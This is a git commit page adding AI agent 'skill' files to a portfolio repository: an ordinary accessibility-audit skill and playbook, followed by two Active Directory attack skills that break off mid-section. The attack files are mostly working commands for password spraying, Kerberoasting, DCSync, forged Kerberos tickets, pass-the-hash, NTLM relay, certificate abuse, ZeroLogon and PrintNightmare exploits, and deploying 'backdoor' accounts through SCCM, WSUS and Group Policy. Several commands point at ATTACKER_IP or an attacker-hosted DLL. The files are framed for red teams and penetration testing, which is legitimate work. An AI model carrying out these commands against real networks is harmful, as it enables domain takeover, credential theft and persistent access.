feat: Introduce new AI skills, core application layout, and cinematic UI components for the portfolio.

This commit is contained in:
Evandro Fonseca Junior committed 2026-03-18 07:15:39 -03:00
1 parent 04923ccb2f
commit a3ffc2a25e
26 files changed
+5020 -34

No files matched your search

@@ -0,0 +1,41 @@
---
type: "agent_requested"
---
# Accessibility Audit and Testing
You are an accessibility expert specializing in WCAG compliance, inclusive design, and assistive technology compatibility. Conduct comprehensive audits, identify barriers, provide remediation guidance, and ensure digital products are accessible to all users.
## Use this skill when
- Auditing web or mobile experiences for WCAG compliance
- Identifying accessibility barriers and remediation priorities
- Establishing ongoing accessibility testing practices
- Preparing compliance evidence for stakeholders
## Do not use this skill when
- You only need a general UI design review without accessibility scope
- The request is unrelated to user experience or compliance
- You cannot access the UI, design artifacts, or content
## Context
The user needs to audit and improve accessibility to ensure compliance with WCAG standards and provide an inclusive experience for users with disabilities. Focus on automated testing, manual verification, remediation strategies, and establishing ongoing accessibility practices.
## Requirements
$ARGUMENTS
## Instructions
- Confirm scope (platforms, WCAG level, target pages, key user journeys).
- Run automated scans to collect baseline violations and coverage gaps.
- Perform manual checks (keyboard, screen reader, focus order, contrast).
- Map findings to WCAG criteria, severity, and user impact.
- Provide remediation steps and re-test after fixes.
- If detailed procedures are required, open `resources/implementation-playbook.md`.
## Resources
- `resources/implementation-playbook.md` for detailed audit steps, tooling, and remediation examples.
@@ -0,0 +1,506 @@
---
type: "always_apply"
---
# Accessibility Audit and Testing Implementation Playbook
This file contains detailed patterns, checklists, and code samples referenced by the skill.
## Instructions
### 1. Automated Testing with axe-core
```javascript
// accessibility-test.js
const { AxePuppeteer } = require("@axe-core/puppeteer");
const puppeteer = require("puppeteer");
class AccessibilityAuditor {
constructor(options = {}) {
this.wcagLevel = options.wcagLevel || "AA";
this.viewport = options.viewport || { width: 1920, height: 1080 };
}
async runFullAudit(url) {
const browser = await puppeteer.launch();
const page = await browser.newPage();
await page.setViewport(this.viewport);
await page.goto(url, { waitUntil: "networkidle2" });
const results = await new AxePuppeteer(page)
.withTags(["wcag2a", "wcag2aa", "wcag21a", "wcag21aa"])
.exclude(".no-a11y-check")
.analyze();
await browser.close();
return {
url,
timestamp: new Date().toISOString(),
violations: results.violations.map((v) => ({
id: v.id,
impact: v.impact,
description: v.description,
help: v.help,
helpUrl: v.helpUrl,
nodes: v.nodes.map((n) => ({
html: n.html,
target: n.target,
failureSummary: n.failureSummary,
})),
})),
score: this.calculateScore(results),
};
}
calculateScore(results) {
const weights = { critical: 10, serious: 5, moderate: 2, minor: 1 };
let totalWeight = 0;
results.violations.forEach((v) => {
totalWeight += weights[v.impact] || 0;
});
return Math.max(0, 100 - totalWeight);
}
}
// Component testing with jest-axe
import { render } from "@testing-library/react";
import { axe, toHaveNoViolations } from "jest-axe";
expect.extend(toHaveNoViolations);
describe("Accessibility Tests", () => {
it("should have no violations", async () => {
const { container } = render(<MyComponent />);
const results = await axe(container);
expect(results).toHaveNoViolations();
});
});
```
### 2. Color Contrast Validation
```javascript
// color-contrast.js
class ColorContrastAnalyzer {
constructor() {
this.wcagLevels = {
'AA': { normal: 4.5, large: 3 },
'AAA': { normal: 7, large: 4.5 }
};
}
async analyzePageContrast(page) {
const elements = await page.evaluate(() => {
return Array.from(document.querySelectorAll('*'))
.filter(el => el.innerText && el.innerText.trim())
.map(el => {
const styles = window.getComputedStyle(el);
return {
text: el.innerText.trim().substring(0, 50),
color: styles.color,
backgroundColor: styles.backgroundColor,
fontSize: parseFloat(styles.fontSize),
fontWeight: styles.fontWeight
};
});
});
return elements
.map(el => {
const contrast = this.calculateContrast(el.color, el.backgroundColor);
const isLarge = this.isLargeText(el.fontSize, el.fontWeight);
const required = isLarge ? this.wcagLevels.AA.large : this.wcagLevels.AA.normal;
if (contrast < required) {
return {
text: el.text,
currentContrast: contrast.toFixed(2),
requiredContrast: required,
foreground: el.color,
background: el.backgroundColor
};
}
return null;
})
.filter(Boolean);
}
calculateContrast(fg, bg) {
const l1 = this.relativeLuminance(this.parseColor(fg));
const l2 = this.relativeLuminance(this.parseColor(bg));
const lighter = Math.max(l1, l2);
const darker = Math.min(l1, l2);
return (lighter + 0.05) / (darker + 0.05);
}
relativeLuminance(rgb) {
const [r, g, b] = rgb.map(val => {
val = val / 255;
return val <= 0.03928 ? val / 12.92 : Math.pow((val + 0.055) / 1.055, 2.4);
});
return 0.2126 * r + 0.7152 * g + 0.0722 * b;
}
}
// High contrast CSS
@media (prefers-contrast: high) {
:root {
--text-primary: #000;
--bg-primary: #fff;
--border-color: #000;
}
a { text-decoration: underline !important; }
button, input { border: 2px solid var(--border-color) !important; }
}
```
### 3. Keyboard Navigation Testing
```javascript
// keyboard-navigation.js
class KeyboardNavigationTester {
async testKeyboardNavigation(page) {
const results = {
focusableElements: [],
missingFocusIndicators: [],
keyboardTraps: [],
};
// Get all focusable elements
const focusable = await page.evaluate(() => {
const selector =
'a[href], button, input, select, textarea, [tabindex]:not([tabindex="-1"])';
return Array.from(document.querySelectorAll(selector)).map((el) => ({
tagName: el.tagName.toLowerCase(),
text: el.innerText || el.value || el.placeholder || "",
tabIndex: el.tabIndex,
}));
});
results.focusableElements = focusable;
// Test tab order and focus indicators
for (let i = 0; i < focusable.length; i++) {
await page.keyboard.press("Tab");
const focused = await page.evaluate(() => {
const el = document.activeElement;
return {
tagName: el.tagName.toLowerCase(),
hasFocusIndicator: window.getComputedStyle(el).outline !== "none",
};
});
if (!focused.hasFocusIndicator) {
results.missingFocusIndicators.push(focused);
}
}
return results;
}
}
// Enhance keyboard accessibility
document.addEventListener("keydown", (e) => {
if (e.key === "Escape") {
const modal = document.querySelector(".modal.open");
if (modal) closeModal(modal);
}
});
// Make div clickable accessible
document.querySelectorAll("[onclick]").forEach((el) => {
if (!["a", "button", "input"].includes(el.tagName.toLowerCase())) {
el.setAttribute("tabindex", "0");
el.setAttribute("role", "button");
el.addEventListener("keydown", (e) => {
if (e.key === "Enter" || e.key === " ") {
el.click();
e.preventDefault();
}
});
}
});
```
### 4. Screen Reader Testing
```javascript
// screen-reader-test.js
class ScreenReaderTester {
async testScreenReaderCompatibility(page) {
return {
landmarks: await this.testLandmarks(page),
headings: await this.testHeadingStructure(page),
images: await this.testImageAccessibility(page),
forms: await this.testFormAccessibility(page),
};
}
async testHeadingStructure(page) {
const headings = await page.evaluate(() => {
return Array.from(
document.querySelectorAll("h1, h2, h3, h4, h5, h6"),
).map((h) => ({
level: parseInt(h.tagName[1]),
text: h.textContent.trim(),
isEmpty: !h.textContent.trim(),
}));
});
const issues = [];
let previousLevel = 0;
headings.forEach((heading, index) => {
if (heading.level > previousLevel + 1 && previousLevel !== 0) {
issues.push({
type: "skipped-level",
message: `Heading level ${heading.level} skips from level ${previousLevel}`,
});
}
if (heading.isEmpty) {
issues.push({ type: "empty-heading", index });
}
previousLevel = heading.level;
});
if (!headings.some((h) => h.level === 1)) {
issues.push({ type: "missing-h1", message: "Page missing h1 element" });
}
return { headings, issues };
}
async testFormAccessibility(page) {
const forms = await page.evaluate(() => {
return Array.from(document.querySelectorAll("form")).map((form) => {
const inputs = form.querySelectorAll("input, textarea, select");
return {
fields: Array.from(inputs).map((input) => ({
type: input.type || input.tagName.toLowerCase(),
id: input.id,
hasLabel: input.id
? !!document.querySelector(`label[for="${input.id}"]`)
: !!input.closest("label"),
hasAriaLabel: !!input.getAttribute("aria-label"),
required: input.required,
})),
};
});
});
const issues = [];
forms.forEach((form, i) => {
form.fields.forEach((field, j) => {
if (!field.hasLabel && !field.hasAriaLabel) {
issues.push({ type: "missing-label", form: i, field: j });
}
});
});
return { forms, issues };
}
}
// ARIA patterns
const ariaPatterns = {
modal: `
<div role="dialog" aria-labelledby="modal-title" aria-modal="true">
<h2 id="modal-title">Modal Title</h2>
<button aria-label="Close">×</button>
</div>`,
tabs: `
<div role="tablist" aria-label="Navigation">
<button role="tab" aria-selected="true" aria-controls="panel-1">Tab 1</button>
</div>
<div role="tabpanel" id="panel-1" aria-labelledby="tab-1">Content</div>`,
form: `
<label for="name">Name <span aria-label="required">*</span></label>
<input id="name" required aria-required="true" aria-describedby="name-error">
<span id="name-error" role="alert" aria-live="polite"></span>`,
};
```
### 5. Manual Testing Checklist
```markdown
## Manual Accessibility Testing
### Keyboard Navigation
- [ ] All interactive elements accessible via Tab
- [ ] Buttons activate with Enter/Space
- [ ] Esc key closes modals
- [ ] Focus indicator always visible
- [ ] No keyboard traps
- [ ] Logical tab order
### Screen Reader
- [ ] Page title descriptive
- [ ] Headings create logical outline
- [ ] Images have alt text
- [ ] Form fields have labels
- [ ] Error messages announced
- [ ] Dynamic updates announced
### Visual
- [ ] Text resizes to 200% without loss
- [ ] Color not sole means of info
- [ ] Focus indicators have sufficient contrast
- [ ] Content reflows at 320px
- [ ] Animations can be paused
### Cognitive
- [ ] Instructions clear and simple
- [ ] Error messages helpful
- [ ] No time limits on forms
- [ ] Navigation consistent
- [ ] Important actions reversible
```
### 6. Remediation Examples
```javascript
// Fix missing alt text
document.querySelectorAll("img:not([alt])").forEach((img) => {
const isDecorative =
img.role === "presentation" || img.closest('[role="presentation"]');
img.setAttribute("alt", isDecorative ? "" : img.title || "Image");
});
// Fix missing labels
document
.querySelectorAll("input:not([aria-label]):not([id])")
.forEach((input) => {
if (input.placeholder) {
input.setAttribute("aria-label", input.placeholder);
}
});
// React accessible components
const AccessibleButton = ({ children, onClick, ariaLabel, ...props }) => (
<button onClick={onClick} aria-label={ariaLabel} {...props}>
{children}
</button>
);
const LiveRegion = ({ message, politeness = "polite" }) => (
<div
role="status"
aria-live={politeness}
aria-atomic="true"
className="sr-only"
>
{message}
</div>
);
```
### 7. CI/CD Integration
```yaml
# .github/workflows/accessibility.yml
name: Accessibility Tests
on: [push, pull_request]
jobs:
a11y-tests:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Setup Node.js
uses: actions/setup-node@v3
with:
node-version: "18"
- name: Install and build
run: |
npm ci
npm run build
- name: Start server
run: |
npm start &
npx wait-on http://localhost:3000
- name: Run axe tests
run: npm run test:a11y
- name: Run pa11y
run: npx pa11y http://localhost:3000 --standard WCAG2AA --threshold 0
- name: Upload report
uses: actions/upload-artifact@v3
if: always()
with:
name: a11y-report
path: a11y-report.html
```
### 8. Reporting
```javascript
// report-generator.js
class AccessibilityReportGenerator {
generateHTMLReport(auditResults) {
return `
<!DOCTYPE html>
<html lang="en">
<head>
<title>Accessibility Audit</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
.summary { background: #f0f0f0; padding: 20px; border-radius: 8px; }
.score { font-size: 48px; font-weight: bold; }
.violation { margin: 20px 0; padding: 15px; border: 1px solid #ddd; }
.critical { border-color: #f00; background: #fee; }
.serious { border-color: #fa0; background: #ffe; }
</style>
</head>
<body>
<h1>Accessibility Audit Report</h1>
<p>Generated: ${new Date().toLocaleString()}</p>
<div class="summary">
<h2>Summary</h2>
<div class="score">${auditResults.score}/100</div>
<p>Total Violations: ${auditResults.violations.length}</p>
</div>
<h2>Violations</h2>
${auditResults.violations
.map(
(v) => `
<div class="violation ${v.impact}">
<h3>${v.help}</h3>
<p><strong>Impact:</strong> ${v.impact}</p>
<p>${v.description}</p>
<a href="${v.helpUrl}">Learn more</a>
</div>
`,
)
.join("")}
</body>
</html>`;
}
}
```
## Output Format
1. **Accessibility Score**: Overall compliance with WCAG levels
2. **Violation Report**: Detailed issues with severity and fixes
3. **Test Results**: Automated and manual test outcomes
4. **Remediation Guide**: Step-by-step fixes for each issue
5. **Code Examples**: Accessible component implementations
Focus on creating inclusive experiences that work for all users, regardless of their abilities or assistive technologies.
@@ -0,0 +1,382 @@
---
type: "agent_requested"
---
# Active Directory Attacks
## Purpose
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
## Inputs/Prerequisites
- Kali Linux or Windows attack platform
- Domain user credentials (for most attacks)
- Network access to Domain Controller
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
## Outputs/Deliverables
- Domain enumeration data
- Extracted credentials and hashes
- Kerberos tickets for impersonation
- Domain Administrator access
- Persistent access mechanisms
---
## Essential Tools
| Tool | Purpose |
|------|---------|
| BloodHound | AD attack path visualization |
| Impacket | Python AD attack tools |
| Mimikatz | Credential extraction |
| Rubeus | Kerberos attacks |
| CrackMapExec | Network exploitation |
| PowerView | AD enumeration |
| Responder | LLMNR/NBT-NS poisoning |
---
## Core Workflow
### Step 1: Kerberos Clock Sync
Kerberos requires clock synchronization (±5 minutes):
```bash
# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"
# Fix clock on Windows
net time /domain /set
# Fake clock without changing system time
faketime -f '+8h' <command>
```
### Step 2: AD Reconnaissance with BloodHound
```bash
# Start BloodHound
neo4j console
bloodhound --no-sandbox
# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
```
### Step 3: PowerView Enumeration
```powershell
# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# Find local admin access
Find-LocalAdminAccess -Verbose
# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth
```
---
## Credential Attacks
### Password Spraying
```bash
# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
```
### Kerberoasting
Extract service account TGS tickets and crack offline:
```bash
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt
```
### AS-REP Roasting
Target accounts with "Do not require Kerberos preauthentication":
```bash
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt
```
### DCSync Attack
Extract credentials directly from DC (requires Replicating Directory Changes rights):
```bash
# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
```
---
## Kerberos Ticket Attacks
### Pass-the-Ticket (Golden Ticket)
Forge TGT with krbtgt hash for any user:
```powershell
# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
```
### Silver Ticket
Forge TGS for specific service:
```powershell
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
```
### Pass-the-Hash
```bash
# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH
# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
```
### OverPass-the-Hash
Convert NTLM hash to Kerberos ticket:
```bash
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache
# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
```
---
## NTLM Relay Attacks
### Responder + ntlmrelayx
```bash
# Start Responder (disable SMB/HTTP for relay)
responder -I eth0 -wrf
# Start relay
ntlmrelayx.py -tf targets.txt -smb2support
# LDAP relay for delegation attack
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
```
### SMB Signing Check
```bash
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
```
---
## Certificate Services Attacks (AD CS)
### ESC1 - Misconfigured Templates
```bash
# Find vulnerable templates
certipy find -u [email protected] -p password -dc-ip 10.10.10.10
# Exploit ESC1
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]
# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
```
### ESC8 - Web Enrollment Relay
```bash
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
```
---
## Critical CVEs
### ZeroLogon (CVE-2020-1472)
```bash
# Check vulnerability
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
# Exploit
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
# Extract hashes
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
# Restore password (important!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
```
### PrintNightmare (CVE-2021-1675)
```bash
# Check for vulnerability
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
# Exploit (requires hosting malicious DLL)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'
```
### samAccountName Spoofing (CVE-2021-42278/42287)
```bash
# Automated exploitation
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
```
---
## Quick Reference
| Attack | Tool | Command |
|--------|------|---------|
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
---
## Constraints
**Must:**
- Synchronize time with DC before Kerberos attacks
- Have valid domain credentials for most attacks
- Document all compromised accounts
**Must Not:**
- Lock out accounts with excessive password spraying
- Modify production AD objects without approval
- Leave Golden Tickets without documentation
**Should:**
- Run BloodHound for attack path discovery
- Check for SMB signing before relay attacks
- Verify patch levels for CVE exploitation
---
## Examples
### Example 1: Domain Compromise via Kerberoasting
```bash
# 1. Find service accounts with SPNs
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
# 2. Request TGS tickets
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# 3. Crack tickets
hashcat -m 13100 tgs.txt rockyou.txt
# 4. Use cracked service account
psexec.py domain.local/svc_admin:[email protected]
```
### Example 2: NTLM Relay to LDAP
```bash
# 1. Start relay targeting LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
# 2. Trigger authentication (e.g., via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
# 3. Use created machine account for RBCD attack
```
---
## Troubleshooting
| Issue | Solution |
|-------|----------|
| Clock skew too great | Sync time with DC or use faketime |
| Kerberoasting returns empty | No service accounts with SPNs |
| DCSync access denied | Need Replicating Directory Changes rights |
| NTLM relay fails | Check SMB signing, try LDAP target |
| BloodHound empty | Verify collector ran with correct creds |
---
## Additional Resources
For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).
## When to Use
This skill is applicable to execute the workflow or actions described in the overview.
@@ -0,0 +1,386 @@
---
type: "always_apply"
---
# Advanced Active Directory Attacks Reference
## Table of Contents
1. [Delegation Attacks](#delegation-attacks)
2. [Group Policy Object Abuse](#group-policy-object-abuse)
3. [RODC Attacks](#rodc-attacks)
4. [SCCM/WSUS Deployment](#sccmwsus-deployment)
5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)
6. [Trust Relationship Attacks](#trust-relationship-attacks)
7. [ADFS Golden SAML](#adfs-golden-saml)
8. [Credential Sources](#credential-sources)
9. [Linux AD Integration](#linux-ad-integration)
---
## Delegation Attacks
### Unconstrained Delegation
When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.
**Find Delegation:**
```powershell
# PowerShell
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
# BloodHound
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
```
**SpoolService Abuse:**
```bash
# Check spooler service
ls \\dc01\pipe\spoolss
# Trigger with SpoolSample
.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local
# Or with printerbug.py
python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
```
**Monitor with Rubeus:**
```powershell
Rubeus.exe monitor /interval:1
```
### Constrained Delegation
**Identify:**
```powershell
Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
```
**Exploit with Rubeus:**
```powershell
# S4U2 attack
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
```
**Exploit with Impacket:**
```bash
getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
```
### Resource-Based Constrained Delegation (RBCD)
```powershell
# Create machine account
New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
# Set delegation
Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$
# Get ticket
.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
```
---
## Group Policy Object Abuse
### Find Vulnerable GPOs
```powershell
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")}
```
### Abuse with SharpGPOAbuse
```powershell
# Add local admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
# Add user rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO"
# Add immediate task
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
```
### Abuse with pyGPOAbuse (Linux)
```bash
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
```
---
## RODC Attacks
### RODC Golden Ticket
RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.
### RODC Key List Attack
**Requirements:**
- krbtgt credentials of the RODC (-rodcKey)
- ID of the krbtgt account of the RODC (-rodcNo)
```bash
# Impacket keylistattack
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
# Using secretsdump with keylist
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
```
**Using Rubeus:**
```powershell
Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx
```
---
## SCCM/WSUS Deployment
### SCCM Attack with MalSCCM
```bash
# Locate SCCM server
MalSCCM.exe locate
# Enumerate targets
MalSCCM.exe inspect /all
MalSCCM.exe inspect /computers
# Create target group
MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC
# Create malicious app
MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
# Deploy
MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
# Force checkin
MalSCCM.exe checkin /groupname:TargetGroup
# Cleanup
MalSCCM.exe app /cleanup /name:backdoor
MalSCCM.exe group /delete /groupname:TargetGroup
```
### SCCM Network Access Accounts
```powershell
# Find SCCM blob
Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
# Decrypt with SharpSCCM
.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
```
### WSUS Deployment Attack
```bash
# Using SharpWSUS
SharpWSUS.exe locate
SharpWSUS.exe inspect
# Create malicious update
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update"
# Deploy to target
SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
# Check status
SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local
# Cleanup
SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
```
---
## AD Certificate Services (ADCS)
### ESC1 - Misconfigured Templates
Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.
```bash
# Find vulnerable templates
certipy find -u [email protected] -p password -dc-ip DC_IP -vulnerable
# Request certificate as admin
certipy req -u [email protected] -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn [email protected]
# Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
```
### ESC4 - ACL Vulnerabilities
```python
# Check for WriteProperty
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
# Add ENROLLEE_SUPPLIES_SUBJECT flag
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
# Perform ESC1, then restore
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag
```
### ESC8 - NTLM Relay to Web Enrollment
```bash
# Start relay
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce authentication
python3 petitpotam.py ATTACKER_IP DC_IP
# Use certificate
Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
```
### Shadow Credentials
```bash
# Add Key Credential (pyWhisker)
python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add
# Get TGT with PKINIT
python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache
# Get NT hash
export KRB5CCNAME=target.ccache
python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET
```
---
## Trust Relationship Attacks
### Child to Parent Domain (SID History)
```powershell
# Get Enterprise Admins SID from parent
$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519"
# Create Golden Ticket with SID History
kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt
```
### Forest to Forest (Trust Ticket)
```bash
# Dump trust key
lsadump::trust /patch
# Forge inter-realm TGT
kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi
# Use trust ticket
.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt
```
---
## ADFS Golden SAML
**Requirements:**
- ADFS service account access
- Token signing certificate (PFX + decryption password)
```bash
# Dump with ADFSDump
.\ADFSDump.exe
# Forge SAML token
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid [email protected]
```
---
## Credential Sources
### LAPS Password
```powershell
# PowerShell
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
# CrackMapExec
crackmapexec ldap DC_IP -u user -p password -M laps
```
### GMSA Password
```powershell
# PowerShell + DSInternals
$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
ConvertFrom-ADManagedPasswordBlob $mp
```
```bash
# Linux with bloodyAD
python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword
```
### Group Policy Preferences (GPP)
```bash
# Find in SYSVOL
findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml
# Decrypt
python3 Get-GPPPassword.py -no-pass 'DC_IP'
```
### DSRM Credentials
```powershell
# Dump DSRM hash
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
# Enable DSRM admin logon
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
```
---
## Linux AD Integration
### CCACHE Ticket Reuse
```bash
# Find tickets
ls /tmp/ | grep krb5cc
# Use ticket
export KRB5CCNAME=/tmp/krb5cc_1000
```
### Extract from Keytab
```bash
# List keys
klist -k /etc/krb5.keytab
# Extract with KeyTabExtract
python3 keytabextract.py /etc/krb5.keytab
```
### Extract from SSSD
```bash
# Database location
